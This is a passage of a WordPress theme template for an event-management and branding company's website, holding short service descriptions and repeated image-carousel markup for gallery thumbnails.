rel="next">&darr; Next section</a> </div> </section> <section id="section-2"> <div class="content"> <h2 class="hd-line text-center">EVENT MANAGEMENT</h2> <div class="about-box"> <p> Our Event Management section has successfully worked with corporations of global repute. Personal or corporate, we arrange and organize events with state-of- the-art technologies to craft an experience of a lifetime. Technology and Imagination blend with entrepreneurial ingenuity as our conceptualizers, technologists, designers and publicists pool resources to build an integrated system that cater to any individuals&#39; needs. That we will exceed your expectations is a given, but that we shall never overshoot your budget is a pledge. </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-3"> <div class="content"> <h2 class="hd-line text-center">BRAND CONSULTING</h2> <div class="about-box"> <p> Expemark boasts of a team of skilled brand consultants who would provide solutions vis-a- vis brand building, positioning, and strategizing with an ultimate objective of enhancing the sales volume. Our functional and industry expertise coupled with the breath of geographical reach allow us to address problems with liberty of vision. Financial management is combined with brand management to provide clients with the tools to assess their brand&#39;s value. Effective brand strategies are then explored to build and strengthen the desired brand-image. </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-i" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel-i" data-slide-to="0" class="active"></li> <li data-target="#Carousel-i" data-slide-to="1"></li> <li data-target="#Carousel-i" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-i" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-i" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-4"> <div class="content"> <h2 class="hd-line text-center">CORPORATE EVENTS</h2> <div class="about-box"> <p> We organize corporate events which are not only unique but are powerful enough to effectively leverage the overall brand objective </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-ii" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-ii" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-ii" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-5"> <div class="content"> <h2 class="hd-line text-center">AWARDS NITE</h2> <div class="about-box"> <p> Various thematic award nights are conceptualized and executed in sync with a company’s run objectives, in a view to enhance performances at various levels </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-iii" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-iii" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-iii" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-6"> <div class="content"> <h2 class="hd-line text-center">FASHION SHOWS</h2> <div class="about-box"> <p> The world of fashion is full of creative possibilities and we complement each of these through our innovative approach and high octane shows </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-iv" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-iv" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-iv" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-7"> <div class="content"> <h2 class="hd-line text-center">CONFERENCES</h2> <div class="about-box"> <p> When it comes to serious business, we are adept in it. we take care of highly systematic conferences and seminars in this fast paced corporate world. </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-v" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); 